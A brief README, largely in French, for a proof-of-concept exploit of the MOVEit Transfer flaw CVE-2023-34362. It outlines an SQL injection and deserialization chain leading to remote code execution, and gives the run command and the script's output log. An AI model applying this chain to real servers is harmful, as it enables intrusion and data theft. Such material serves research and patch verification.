
POC for CVE-2023-34362 affecting MOVEit Transfer
POC pour CVE-2023-34362 affectant MOVEit Transfer
Une analyse technique de la cause racine de la vulnérabilité est disponible sur le blog :
Ce POC exploite une injection SQL pour obtenir un jeton d'accès API d'administrateur système, puis utilise cet accès pour abuser d'un appel de désérialisation afin d'obtenir une exécution de code à distance.
Ce POC doit contacter un point de terminaison d'un fournisseur d'identité qui héberge des certificats RS256 appropriés utilisés pour forger des jetons utilisateur arbitraires - par défaut, ce POC utilise notre point de terminaison IDP hébergé sur AWS.
L'exploit écrira par défaut un fichier dans C:\Windows\Temp\message.txt. Des charges utiles alternatives peuvent être générées en utilisant le projet ysoserial.net.
python CVE-2023-34362.py https://127.0.0.1
[*] Getting sysadmin access token
[*] Got access token
[*] Getting FolderID
[*] Got FolderID: 963611079
[*] Starting file upload
[*] Got FileID: 965943963
[*] Injecting the payload
[*] Payload injected
[*] Triggering payload via resume call
[+] Triggered the payload!
[*] Deleting uploaded file
Mettez à jour vers la dernière version ou atténuez en suivant les instructions du Progress Advisory
Ce logiciel a été créé uniquement à des fins de recherche académique et de développement de techniques défensives efficaces et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.